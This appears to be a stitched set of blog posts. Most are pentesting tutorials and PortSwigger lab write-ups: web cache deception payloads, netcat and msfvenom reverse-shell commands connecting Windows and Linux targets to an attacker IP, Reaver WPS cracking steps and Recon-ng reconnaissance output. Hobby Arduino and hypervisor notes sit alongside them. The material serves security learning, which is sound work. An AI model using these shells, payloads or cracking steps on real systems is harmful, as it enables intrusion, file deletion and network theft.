A hypervisor is a software layer that enables the multiple virtual machines (VMs) to run on a single physical machine.

There are many types of Hypervisor -

1) Type-1 Hypervisor

2) Type-2 Hypervisor

Type-1 Hypervisor (Bare Metal Hypervisor)

# This type of hypervisor runs directly on the physical hardware of the host machine, without the need for an underlying operating system. It provides direct access to the physical hardware resources and typically offers better performance and scalability compared to Type 2 hypervisors.

Examples of Type 1 hypervisors include Microsoft Hyper-V (when used in standalone mode), KVM (Kernel-based Virtual Machine).

Type 2 Hypervisor (Hosted Hypervisor):

# This type of hypervisor runs on top of a conventional operating system, such as Windows, Linux, or macOS.

# It relies on the host operating system for managing hardware resources and provides virtualization services to guest operating systems. Type 2 hypervisors are typically used for development, testing, and desktop virtualization scenarios.

Examples of Type 2 hypervisors include VMware Workstation, Oracle, VirtualBox.

Device Requirement

# RAM-8GB (Mandatory)

# ROM/HDD/SSD-128gb/512gb/1tb

# Operating system windows 10/11

# Processor - Intel/AMD(Dual Core)

# Must enable the Device "Virtualization

Disclaimer

Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)

2025-05-10T01:43:00.000-07:00

Automatic Rain-Sensing Clothesline Using Arduino Nano

Have you ever left clothes outside to dry and rain suddenly spoiled them? In this project, I used my two days off to build an automatic rain-sensing clothesline using an Arduino Nano. This simple IoT project detects rain and pulls the clothesline using a servo motor, helping protect clothes from getting wet.

Components Required & Their Purpose:

# Arduino Nano – The brain of the project. It reads signals from the rain sensor and controls the servo motor based on the input.

# Rain Sensor Module – Detects rain. It sends a digital signal (LOW) when water touches its sensing plate.

# Servo Motor (SG90) – Acts as the mechanical arm to pull or extend the clothesline. Controlled by PWM signals from Arduino.

# Breadboard – Used to connect components without soldering. Helpful for quick prototyping.

# Jumper Wires – Used to make all the electrical connections between Arduino, sensors, and motor.

# USB Cable – Connects the Arduino Nano to the computer for uploading code and powering the board during testing.

# Cardboard (70 cm x 50 cm) – Used to build the base and miniature model representing the clothesline system.

Optional Upgrades:

# LDR Module (for sunlight detection) – Detects the presence of light. Can be used to only extend the clothesline when there is sunlight.

# Buzzer or LED (alert system) – Provides audio or visual alerts when rain is detected.

# ESP8266 (for IoT notification feature) – Sends notifications to your smartphone using Wi-Fi.

Working Principle:

The rain sensor detects the presence of water on its surface. When rain is detected, it sends a signal to the Arduino, which then activates the servo motor. The servo motor is connected to a mini clothesline setup made of a horizontal rod that simulates pulling the clothes indoors. If optional components are used, such as an LDR, the system can also check for sunlight before deciding to extend the clothesline again.

Core Logic:

# Reads the rain sensor (digital or analog pin).

# Controls a servo motor to pull clothes in when it rains.

# Optionally, use an LDR sensor to check if it's daytime.

This Exact Setup:

1. Select the Correct Port

Go to Tools > Port > COM4 (Arduino Nano) ← select that one

2. Set the Correct Board & Processor

Tools > Board → Arduino Nano

Tools > Processor → ATmega328P (Old Bootloader) ← this is critical for most Nano clones

3. Upload the Code

Now try clicking the Upload button.

Basic Arduino Code Example (Rain sensor + Servo):

  #include <Servo.h>

const int rainSensorPin = 2;   // Digital pin for rain sensor
const int servoPin = 9;        // Servo control pin

Servo clothesServo;

void setup() {
  pinMode(rainSensorPin, INPUT);
  clothesServo.attach(servoPin);
  Serial.begin(9600);
}

void loop() {
  int rainDetected = digitalRead(rainSensorPin);

  if (rainDetected == LOW) {  // LOW means rain is detected on most modules
    Serial.println("Rain Detected! Pulling clothes in.");
    clothesServo.write(0);    // Rotate servo to retract clothesline
  } else {
    Serial.println("No Rain. Clothes stay outside.");
    clothesServo.write(90);   // Extend clothesline
  }

  delay(1000);  // Wait before next check
}

Note - If you are facing Driver issue like COM3, COM4 then simply you can go with this (https://sparks.gogo.co.nz/ch340.html) link and install and after installing boot your system.

Even make sure no Serial Monitor is open during upload.

How to Check:

# Look at the top-right corner of the Arduino IDE.

# If the Serial Monitor is open, you’ll see a window titled “Serial Monitor” (it looks like a terminal).

# Simply close that window by clicking the X at the top-right of it.

Shortcut:

You can also close it by clicking:

Tools > Serial Monitor (clicking it toggles it closed if it's open)

Why it matters:

The Serial Monitor uses the COM port, so if it’s open, uploading code will fail with errors like the one you got.

Try closing it and then upload your code again.

Confirm CH340 Driver Installed Correctly

Let’s double-check in Device Manager:

▶️ How to Open Device Manager:

Press Win + X → Select Device Manager

Expand Ports (COM & LPT)

You should see something like:

USB-SERIAL CH340 (COM3)

⚠️ If you see a yellow warning symbol, the driver didn't install correctly. Reinstall the CH340 driver and run it as administrator.

Correct Wiring Diagram (Text Version)

1. Rain Sensor Module (with digital output pin)

VCC → Nano 5V

GND → Nano GND

DO (Digital Output) → Nano D2

2. Servo Motor

Signal (Orange/Yellow wire) → Nano D3

VCC (Red) → Nano 5V

GND (Brown/Black) → Nano GND

Important: If the servo twitches or behaves oddly, use an external 5V power supply (like a battery pack or USB adapter) and connect its GND to Nano’s GND.

✅ Arduino Nano Pin Summary

# clothesServo.write(0); – This turns the servo to 0 degrees (you can change this angle if needed).

# clothesServo.write(90); – This keeps the servo in the default position.

Lets begin the test - For Live Visualization - CLICK HERE

Disclaimer

Exploiting path delimiters for web cache deception

2024-09-21T03:14:00.000-07:00

Cache means not catch!! Cache its a different means web cache deception its a vulnerability that enables to attacker to store sensitive, dynamic content and its cause by discrepancies between how the cache server and origin server handle the request.

Let's simply describe about this vulnerability and what is it? A web cache system is sit between the origin server and user. If a client request a static resource, the request is first directed to the cache. If the cache doesn't containt a copy of the resource (known as the cache miss) , that time cache is forwarded to the origin server, which process and respond to the request. The response is then sent to the cache before being sent to the user. The cache uses a pre-configured set of rules to determine whether to store the response.

when a request for the same static resources is made in the future, the cache store the saved copy to the response directly to the user (known as a cache hit).

image credit portswigger

For More information - Click Here

Delimiters specify boundaries between different URLs. The use of Characters and strings is generally separate the URL like path from the query string. For example ? is the use for separate the URL.

Discrepancies in how the cache and the origin server use characters and strings as the delimiters can result in web cache deception vulnerabilities. example - /gallery;foo.js.

after ; semicolon it as part of the path. if the cache has a rule to store responses for requests ending in .css. It might cache and server the profile information as if it were a CSS file.

# /gallery - This request is processed by the default HTML formatter, which returns the user profile information.

# a /gallery.css - The request is recognized as a CSS extension. There isn't a CSS formatter, so the request isn't accepted andn error is returned.

NOTE - Encoded characters may also sometimes be used as delimiters. For example, consider the request /gallery%00foo.js:

Exploiting delimiter discrepancies

You are able to use delimiter discrepancy to add a static extension to the path that is viewed by the cache, but not the origin server. You need to identify a character that is used as a delimiter by the origin server but not the cache.

Firstly find characters that are used as a delimiters by the origin server, start this process by the adding an arbitary string to the URL of your target endpoint. For example, modify /settings/users/list to /settings/users/listaaa. You'll use this response as a reference when you start testing delimiter characters.

Note : If the response is identical to the original response, this indicates that the request is being redirected. You'll need to choose a different endpoint to test.

Next, add a possible delimiter character between the original path and the arbitrary string, for example /settings/users/list;aaa:

# If the response is identical to the base response, this indicates that the ; character is used as a delimiter and the origin server interprets the path as /settings/users/list.

# If it matches the response to the path with the arbitrary string, this indicates that the ; character isn't used as a delimiter and the origin server interprets the path as /settings/users/list;aaa.

Once you've identified delimiters that are used by the origin server, test whether they're also used by the cache. To do this, add a static extension to the end of the path. If the response is cached, this indicates:

# That the cache doesn't use the delimiter and interprets the full URL path with the static extension.

# That there is a cache rule to store responses for requests ending in .js.

Make sure to test all ASCII characters and a range of common extensions, including .css, .ico, and .exe.

You can then construct an exploit that triggers the static extension cache rule. For example, consider the payload /settings/users/list;aaa.js. The origin server uses ; as a delimiter:

# The cache interprets the path as: /settings/users/list;aaa.js

# The origin server interprets the path as: /settings/users/list

The origin server returns the dynamic profile information.

Let's start through the lab practice-

After enabiling Proxy setup, Open burp suite and do intercept option start.

After that we have to go my account option and simple see in your burp suite , its intercept the URL in burp suite.

But you can not get easily anything, but never give up. so simple proced with below the ULR as you can see this. After some seconds you have to turn off the proxy and go to burp suite.

as you can see in below image (need to go in HTTP proxy tab) request has arrived. GET /my-account and see the request tab.

Cache Poisioning It's important to distinguish web cache deception from web cache poisoning. While both exploit caching mechanisms, But its a little bit different. - Create your own Arp cache poisioning - CLICK HERE

Then, go back to web page (lab page) and simple type the username and password wiener : peter and again Turn on the proxy and intercept the HTTP request .

Login is done now if you want you can turn off the proxy in chrome browser (by the way why i am doing this again n again n again because of you have to intercept what you wanted to but sometimes the page still keeps loading thats why)

Now you will see that you have got API

Now on that same page edit the URL and simple add the some kind of alphabet name like (in our case aaa.js) and hit enter.

https://0a57008903714a5485c3b587002f00df.web-security-academy.net/my-account

https://0a57008903714a5485c3b587002f00df.web-security-academy.net/my-accountaaa.js

Note : If the response is identical to the original response, this indicates that the request is being redirected. You'll need to choose a different endpoint to test.

After hitting on the URL you have to check intercept HTTP history.

and as you can see below image still x-cache : miss is coming but after that again you need to send the repeater section.

and send the request and see in right side still coming x-cache : miss but again n again send the request and finally you will get x-cache: hit .

But what does it mean let's check in our BLOG - click Here

Sent into intruder section -

Now in intruder section we will highlight the string and insert a new payload maker (add).

Now paste the delimiter in payload section and trying as a brute force attack to serach a delimiter (arbitrary string, this indicates that the ; character isn't used as a delimiter and the origin server interprets the path as /my-account;aa.js)

Web cache deception lab delimiter list - Click Here

before starting the attack please untick the box URL- encode characters ....

Now you have to see delimiter ; semicolon status code 200 thats mean its okay we have to move forward wtih this delimiter ; and send to repeater section

and send the request in repeater section until n unless when x-cache:hit will not coming.

after that copy the URL and go to lab's exploit server and paste into body section.

and javascript window.location means returns a location object with information about the current location of the document with different name like aa.js to 123.js and deliver exploit to victim.

After that check in view exploit and vOLA yES!!! we got it carlos's API key and put it into solution box.

so finally our lab is solved.

Disclaimer

Exploiting path mapping for web cache deception Lab

2024-09-16T04:30:00.000-07:00

when a request for the same static resources is made in the future, the cache store the saved copy to the response directly to the user (known as a cache hit).

image credit portswigger

Apart from that you can use even mostly trying to use CDN content delivery networks with the widespread use of CDN , which use caching to store copies of content on distributed servers all over the world. CDN speed of delivery by serving the content from the server closets to the server.

Cache keys

When the cache receives an HTTP request, it must decide whether there is a cached response that it can serve directly, or whether it has to forward the request to the origin server. The cache makes this decision by generating a 'cache key' from elements of the HTTP request. Typically, this includes the URL path and query parameters, but it can also include a variety of other elements like headers and content type.

Cache Rules

# Static file extension rules - These rules match the file extension of the requested resource, for example .css for stylesheets or .js for JavaScript files.

# Static directory rules - These rules match all URL paths that start with a specific prefix. These are often used to target specific directories that contain only static resources, for example /static or /assets.

# File name rules - These rules match specific file names to target files that are universally required for web operations and change rarely, such as robots.txt and favicon.ico.

Detecting cached responses

During testing, it's crucial that you're able to identify cached responses. Diff diff response headers may indicate that it is cached. For example:

The X-Cache header provides information about whether a response was served from the cache. Typical values include:

# X-Cache: hit - The response was served from the cache.

# X-Cache: miss - The cache did not contain a response for the request's key, so it was fetched from the origin server. In most cases, the response is then cached. To confirm this, send the request again to see whether the value updates to hit.

# X-Cache: dynamic - The origin server dynamically generated the content. Generally this means the response is not suitable for caching.

# X-Cache: refresh - The cached content was outdated and needed to be refreshed or revalidated.

The Cache-Control header may include a directive that indicates caching, like public with a max-age higher than 0. Note that this only suggests that the resource is cacheable. It isn't always indicative of caching, as the cache may sometimes override this header.

Exploiting Cache

Cache rules often target static resources by matching common file extensions like .css or .js. This is the default behavior in most CDNs.

If there are discrepancies in how the cache and origin server map the URL path to resources or use delimiters, an attacker may be able to craft a request for a dynamic resource with a static extension that is ignored by the origin server but viewed by the cache

http://example.com/user/123/profile/abc.js

An origin server using REST-style URL mapping may interpret this as a request for the /user/123/profile endpoint and returns the profile information for user 123, ignoring abc.js as a non-significant parameter.

A cache that uses traditional URL mapping may view this as a request for a file named abc.js located in the /profile directory under /user/123. It interprets the URL path as /user/123/profile/abc.js. If the cache is configured to store responses for requests where the path ends in .js, it would cache and serve the profile information as if it were a JS or CSS file.

Caches may have rules based on specific static extensions. Try a range of extensions, including .css, .ico, and .exe.

Now its time to do complete the Lab and Learn in practical mode - Be practice - CLICK Here

Lets do this first of all whatever you want to use proxy but you can use FoxyProxy. Its a extension for Burp suite and working as a proxy. You can easily add the extension for chrome or mozila whatever you want to use in diff diff browser.

Lets enable this -

After enabiling Proxy setup, Open burp suite and do intercept option start.

After that we have to go my account option and simple see in your burp suite , its intercept the URL in burp suite.

But you can not get easily anything, but never give up. so simple proced with below the ULR as you can see this. After some seconds you have to turn off the proxy and go to burp suite.

as you can see in below image (need to go in HTTP proxy tab) request has arrived. GET /my-account and see the request tab.

Then, go back to web page (lab page) and simple type the username and password wiener : peter and again Turn on the proxy and intercept the HTTP request .

Login is done now if you want you can turn off the proxy in chrome browser (by the way why i am doing this again n again n again because of you have to intercept what you wanted to but sometimes the page still keeps loading thats why)

Now you will see that you have got API

Now on that same page edit the URL and simple add the some kind of JS or CSS extension file name like (in our case 12.js) and hit enter.

https://0aa7003d04c35ca280a8eeac008b0054.web-security-academy.net/my-account/12.js

and you will see there its intercepting the HTTP request in burp suite.

Simply click on it and see the response x-cache miss and after that send into repeater.

As i have to told you above about x-cache : miss & x-cache : hit. Please be carefully to read the each and every sentence.

After that in repeater tab you simply send the request if you have to see like again x-cache : miss in response side then wait 30-40 seconds and send again the request and see the response.

After 30-40 sec you need to try again to send the request and see the response in right side. Now you can see that x-cache : hit (The response was served from the cache.)

Now copy the whole URL and turn off the proxy and go to exploit server options page.

and copy our code and paste into body section.

<script>window.location="https://0aa7003d04c35ca280a8eeac008b0054.web-security-academy.net/my-account/12.js"</script>

Or you reverse the js file name like that

<script>window.location="https://0aa7003d04c35ca280a8eeac008b0054.web-security-academy.net/my-account/21.js"</script>

Then, Delivery exploit to victim.

after that click on View exploit OR simple copy the <script>window.location="https://0aa7003d04c35ca280a8eeac008b0054.web-security-academy.net/my-account/12.js"</script>

and open in new tab browser.

Notice that the response includes the API key for carlos. Copy this.

Click Submit solution, then submit the API key for carlos to solve the lab.

Disclaimer

Connecting from Linux to Windows Reverse Shell

2024-09-11T10:56:00.000-07:00

Hello welcome folks, we are writing a new blog about how to attacker can gain a reverse connection to the windows 10 machine. Reverse connection via we are connecting now in a same private network but you can connect into another another connection.

A system's backdoor welcome us every time with open hands whenever we knockback. Thus we will try to generate such a similar backdoor over the target's windows machine, which allow us to get in , at any time when we get back.

Setup Listener

First we setup to a listener over our kali machine

nc -lvp 4444

Now we will check our linux's machine IP via ifconfig wlan0 or ifconfig .

Before executing any command in windows machine first we need to check netcat installed or not. If netcat is not install in windows machine then install it.

you should install the Netcat (Ncat) package that comes with Nmap, which you can download from https://nmap.org/download.html#windows

After downloading simple right click on setup file and run as administrator after that open cmd prompt and run for check its properly install or not ncat -h

now its time to run this command ncat.exe 192.168.12.100 4444 -e cmd.exe

Time to get back to our attacker’s machine. From the below image you can see that we are into the victim’s command shell.

as you can see that reverse shell have been done and whatever you want you can use windows command line like whoami, del, remove etc

we are doing now simply access those folders and delete anything what i want. But suppose that you entered a wrong command in our attacker's machine so what happened next let see!!

In windows if we want to clear command prompt terminal so for this simply you can use this command cls but for checking purpose we will use clear command.

Then if you check in windows machine!!!

Yes!! its a correct because of there is no any command line clear so thats why its showing 'clear' is not recognized as a internal or external command ..... so simply clear cmd prompt type cls.

Now we will delete anything what we have to want!!!

simply access the directory via cd command.

use this command for delete the file del filename.

I hope you love this blog don't forget to share the love and happiness with knowledge because by sharing knowledge its increases, it does not decrease.

Disclaimer

Netcat techniques for penetration testers

2024-09-08T22:48:00.000-07:00

Netcat techniques for penetration testers

After a long time we are back, Yes! we are back and now we have brought it for you a new blog about netcat for penetration tester or else. Netcat a techniques for penetration testers. Netcat technically use as a "nc" - is a network utility that uses the TCP and UDP connections in order to read and write a network. It can be used by security auditors and attackers. Its depend upon for which purpose you want to use this netcat.

It acts as a simple TCP/UDP/SCTP/SSL client for interacting with web servers, telnet servers, mail servers, and other TCP/IP network services.

Netcat Basic Command

Help or sometimes its "h" this single alphabet drops out for every possible options that a tool can do for us. So, lets start with the first command for us help command.

nc -h

Port Scanning

Now we will work with port scanning with netcat. although it was not designed to function as. To make it worth as a scanner, we need to set the "-z" flag, which tells netcat, to scan listing daemon without sending any data. This makes it possible to understand the types of services that is running on that specific port.

nc -v -n -z 192.168.19.100 21-100

[-v] - indicates

IP might be changed, you can put your own system IP

Chatting

Netcat can also be used to chat between two users but before that we need to establish the connection. To set up this all, we'll be using two devices - one will play the role as an initiator and the other one will be a listener.

You can use with two different users operating system communicate with each other over a netcat establish connection within the same network but now at this time we will using same system terminal.

nc -lvp 4444

Here,

[l] - listen mode

[v] - Verbose mode

[p] - Local port

Now its time to set up an initiator.

nc 192.168.19.100 4444

From the below you can see that connection has been setup and both are now able to communicate with each other.

Banner Grabbing

Banner refers to a text message received from the host with information about the open ports and services along with their version numbers

Run the following command to grab the information

nc 192.168.19.100 22

File Transfer

Netcat offers us an opportunity to transfer files from one device to another over a network. Let's follow the scenario, where a kali users exempts to transfer his files to a user at an linux machine

From the below image and line of command over the kali machine sets up a listener at port number 4444, and shares fileone.txt "<" parameter.

nc -lvp 4444 < fileone.txt

and you can see that the linux user has successfully grabbed the fileone.txt file from 192.168.19.100 which is nothing but kali user's IP.

Linux Reverse Shell

As earlier discuss netcat can perform anything, so now will be exploit the target's machine with the help of "msfvenom" to create a payload and will set up a netcat listener to grab a session.

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.19.100 lport=4444 R

The "R" flag is used to generate a raw payload which will be over our screen.

From the above image you can see that our payload is ready. Now its time to trigger it over victim's server.

Open the another machine if you have otherwise we will use in same machine but another terminal screen and type this payload in the terminal. Before firing it up. get back to the attacker's machine (kali linux) and setup the netcat listener over there by using the same port number that you used while generating the payload.

from the below image you can see that, as soon as the victim runs the payload, we'll get the session.

There are many times when the security gets high and we fail to grab the session using this method, but there is another way to get a reverse shell.

Before that set up a listener at port 443.

as the listener boots in just execute the commands in the target's machine :

This help you to the bypass the security and offer you a netcat session.

mknod /tmp/backpipe p

/bin/sh 0</tmp/backpipe | nc 192.168.19.100 4444 1>/tmp/backpipe

Randomized Port

There are chances when we aren't able to decide the very own port to setup a listener or to establish a netcat connection. Well netcat has a special "-r" flag which will provide us with the randomized local port.

nc -lv -r

from the above image you can see that our listener has been started at 45811.

Grabbing the HTTP Banner

HTTP banner are now can't be fetched easily, as they contain the server's information. But we can use netcat to capture information about any webserver.

Simply run the following command in order to manipulate the target's server and check what we have grabbed.

printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.19.100 80

Great! from the above image you can see that I've successfully captured the HTTP banner and we are presented with the apache server.

Disclaimer

reaver WPS wifi Cracker tool

2023-09-03T05:24:00.005-07:00

Reaver WPS Cracker tool

Reaver is a popular open-source tool used for cracking Wi-Fi WPS (Wi-Fi Protected Setup) keys. It's commonly used for penetration testing and security assessments to test the vulnerability of Wi-Fi networks. Reaver is pre-installed on Kali Linux, a popular Linux distribution for penetration testing and ethical hacking. However, it's important to note that using Reaver

Here are some basic instructions on how to use Reaver on Kali Linux:

1. Open a Terminal: Launch a terminal on your Kali Linux system.

2. Check Your Wi-Fi Adapter: Make sure your wireless network adapter supports monitor mode and packet injection. You can check your wireless interfaces by running:

cmd - iwconfig or ifconfig

Look for your wireless adapter (e.g., wlan0) and make sure it supports monitor mode.

3. Put Your Wireless Adapter into Monitor Mode: Use the following command to put your wireless adapter into monitor mode (replace "wlan0" with your adapter's name):

cmd - airmon-ng start wlan0

4. Identify the Target Network: Scan for nearby Wi-Fi networks to identify the target network's BSSID (MAC address) and channel:

cmd - airodump-ng wlan0mon

5. We can check that the interface is in monitor mode by typing ifconfig. You will notice that the interface will have a mon at the end of its name. You may get a message that some services are interfering with your card when putting it into monitor mode. If this happens, simply run the following command:

cmd - airmon-ng check kill

6. Once our interface is in monitor mode, we can now scan for nearby networks. We can do this with the following command:

cmd - wash -i wlan0mon

This command will show us all available networks and whether these networks have WPS enabled.

7. Run Reaver: Now, you can use Reaver to attempt to crack the WPS PIN:

cmd - reaver -i wlan0mon -b [BSSID] -c [channel] -vv [verbose]

Replace [BSSID] with the BSSID of the target network and [channel] with its channel number.

Let’s break this command down:

The -i tag is telling Reaver which interface we want to use for the attack

The -c tag is telling the tool which channel the Wi-Fi network we are targeting is on

The -b tag is the BSSID of the network we are targeting

The -vv tag is enabling verbose, which will tell us what the tool is doing

When this command is executed, Reaver will begin testing various PINs against the network.

6. Wait for the Attack: Reaver will start trying different PIN combinations. It may take some time, depending on the complexity of the PIN. When Reaver successfully recovers the WPS PIN, it will display the PIN on the screen.

Remember that using Reaver or similar tools on networks you do not have explicit permission to test is illegal and unethical. Always ensure you have the proper authorization and legal consent before attempting any security assessments or penetration tests. Unauthorized access to computer networks is a criminal offense in many jurisdictions.

Finally if you have done then you can stop these task.

cmd - sudo airmon-ng stop wlan0mon

Disclaimer

Local and Foreign Address using netstat

2023-08-16T04:47:00.000-07:00

Local and Foreign Address using netstat

In the context of netstat command, the 'Local Address' refers to the network address of your own computer, where a particular network service is running. The 'Foreign Address' refers to the network address of the remote computer or device that your computer is connected to for that specific network service. This command provides information about network connections and network statistics on your system.

We will begin by viewing the help information screen by executing the following command:

netstat -h

We will then view all active connections by typing the following:

netstat

We can use netstat to display both local and foreign addresses in numeric IP form using the “-n” parameter.

netstat -n

If we want to view only TCP connections, we need to add the “-t” parameter.

netstat -t

Similary, if we want to view only UDP connections, we need to add the “-u” parameter.

netstat -u

We can combine and operate multiple parameters in a single command as follows;

netstat -tn

Let’s look at the figure;

1) This area shows our local IP address and port number for each connection.

2) This field shows our remote IP address and port number for each connection.

3) This area displays the TCP / UDP status of each connection;

# LISTEN: represents waiting for a connection request from any remote TCP and port.

# SYN-SENT: represents waiting for a matching connection request after having sent a connection request.

# SYN-RECEIVED: represents waiting for a confirming connection request acknowledgment after having both received and sent a connection request.

# ESTABLISHED: represents an open connection, data received can be delivered to the user. The normal state for the data transfer phase of the connection.

# FIN-WAIT-1: represents waiting for a connection termination request from the remote TCP, or an acknowledgment of the connection termination request previously sent.

# FIN-WAIT-2: represents waiting for a connection termination request from the remote TCP.

# CLOSE-WAIT: represents waiting for a connection termination request from the local user.

# CLOSING: represents waiting for a connection termination request acknowledgment from the remote TCP.

# LAST-ACK: represents waiting for an acknowledgment of the connection termination request previously sent to the remote TCP (which includes an acknowledgment of its connection termination request).

# TIME-WAIT: represents waiting for enough time to pass to be sure the remote TCP received the acknowledgment of its connection termination request.

# CLOSED: represents no connection state at all.

Disclaimer

The ultimate goal of finding WHOIS information with Recon-ng

2023-08-13T14:24:00.002-07:00

The ultimate goal of finding WHOIS information on a target domain-name with Recon-ng

WHOIS information can consist of location, registration and expire dates, contact information (email, phone numbers, etc.) and more about domain-name. The purpose of this lab is to use recon-ng to automate the discovery of this information

Starting, in this lab actual we are using kali linux and you can also use this on dual boot or virtual machine. So, as a root user, open a terminal and type.

recon-ng

Privilege Escalation SUID - TRY THIS

recon-ng offers the opportunity for users to create different workstations based on their project needs. For this lab, we will be gathering WHOIS information. So, create a new lab by typing the following:

workspaces create whois_recon

We will begin by gathering WHOIS information about a target domain-name. Since WHOIS information is available to anyone, it is ok to do this for any domain. The domain we will be targeting is, once again, “facebook.com”, but you can do this lab for any other domain you wish.

We will need to install modules from the marketplace to search for WHOIS information. We will begin by searching WHOIS for all related information regarding a target site. To do this, we first need to install the WHOIS search module. To do this, type:

marketplace search whois

We want to install the fourth option, which is “recon/domains-contacts/whois_pocs”. To do this, type:

marketplace install recon/domains-contacts/whois_pocs

To begin searching, we first need to set the source by typing:

options set SOURCE facebook.com or hackingtruth.org

To load the module for use, type:

modules load recon/domains-contacts/whois_pocs

Then, to see information about this module and how it is used, type “info” and hit enter.

We are now ready to search WHOIS for information regarding “facebook.com”. Simply type “run” and hit enter to begin the search.

As you will see, various contact and location information will show up for facebook.com. This information will be automatically saved in our workstation.

[recon-ng][whois_recon][whois_pocs] > 
[recon-ng][whois_recon][whois_pocs] > 
[recon-ng][whois_recon][whois_pocs] > 
[recon-ng][whois_recon][whois_pocs] > run

------------
FACEBOOK.COM
------------
[*] URL: http://whois.arin.net/rest/pocs;domain=facebook.com
[*] URL: http://whois.arin.net/rest/poc/BST184-ARIN
[*] Country: United States
[*] Email: bstout@facebook.com
[*] First_Name: Brandon
[*] Last_Name: Stout
[*] Middle_Name: None
[*] Notes: None
[*] Phone: None
[*] Region: Chicago, IL
[*] Title: Whois contact
[*] --------------------------------------------------
[*] URL: http://whois.arin.net/rest/poc/OPERA82-ARIN
[*] Country: United States
[*] Email: domain@facebook.com
[*] First_Name: None
[*] Last_Name: Operations
[*] Middle_Name: None
[*] Notes: None
[*] Phone: None
[*] Region: Menlo Park, CA
[*] Title: Whois contact
[*] --------------------------------------------------

-------
SUMMARY
-------
[*] 2 total (2 new) contacts found.
[recon-ng][whois_recon][whois_pocs] >

Discover Subdomains

Now, we will attempt to discover as many subdomains as possible using our target like with their IPv4 address for facebook.com or hackingtruth.org, using API. We will need to import the "hackertarget" module, as we did previously for whois_pocs.

Before we do this, you should first type “back” and press enter to quit out of the whois_pocs module. We will begin by searching the marketplace for “hackertarget” modules using:

marketplace search hackertarget

Only one option should show, which is “recon/domains-hosts/hackertarget”.

marketplace install recon/domains-hosts/hackertarget

We then want to load the module using:

modules load recon/domains-hosts/hackertarget

We are now ready to begin searching HackerTarget for subdomain information regarding Facebook. First, set the source by typing:

options set SOURCE facebook.com

If you want to see some information around what this module is used for and how, simply type “info” and hit enter.

Once this is done, type “run” and hit enter. You will notice a list of various subdomains associated with facebook.com showing.

[recon-ng][whois_recon][hackertarget] > 
[recon-ng][whois_recon][hackertarget] > 
[recon-ng][whois_recon][hackertarget] > options set SOURCE facebook.com
SOURCE => facebook.com
[recon-ng][whois_recon][hackertarget] > run

------------
FACEBOOK.COM
------------
[*] Country: None
[*] Host: facebook.com
[*] Ip_Address: 157.240.254.35
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: experiment-dns-science-1200.facebook.com
[*] Ip_Address: 66.220.152.19
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: experiment-dns-science-300.facebook.com
[*] Ip_Address: 66.220.152.19
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: experiment-dns-science-600.facebook.com
[*] Ip_Address: 66.220.152.19
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: headers-shv-00-rfrc0.facebook.com
[*] Ip_Address: 173.252.127.252
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: headers-shv-00-rash0.facebook.com
[*] Ip_Address: 69.171.252.252
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: msgin-regional-shv-01-rash0.facebook.com
[*] Ip_Address: 69.171.251.251
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: headers-shv-00-rprn0.facebook.com
[*] Ip_Address: 66.220.149.254
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: msgin-regional-shv-01-rprn0.facebook.com
[*] Ip_Address: 66.220.149.251
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: headers-shv-00-ratn0.facebook.com
[*] Ip_Address: 173.252.95.252
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: msgin-regional-shv-01-rftw0.facebook.com
[*] Ip_Address: 173.252.87.251
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-1-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.199
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-2-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.207
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-3-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.211
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-4-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.212
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-5-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.213
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------

Disclaimer

Same Origin Policy security

2023-08-09T04:34:00.007-07:00

Same Origin Policy

The Same Origin Policy (SOP) is a critical security concept in web development and cybersecurity. It is a browser security feature that is designed to prevent malicious websites from making unauthorized requests to another website's resources. The SOP is a fundamental part of the web security model and helps protect users from various types of attacks, such as cross-site scripting (XSS) and cross-site request forgery (CSRF). Same Origin Policy security

Here's how the Same Origin Policy works:

1) Origin Definition: An origin is defined by a combination of three components: the protocol (e.g., http, https), the domain (e.g., example.com), and the port number. Two web pages have the same origin if these three components match.

2) Access Restrictions: The Same Origin Policy restricts web pages from making requests (such as XMLHttpRequest or Fetch API requests) to a different origin than the one that served the web page. This means that JavaScript running on a web page from one origin cannot directly access or manipulate resources on a different origin.

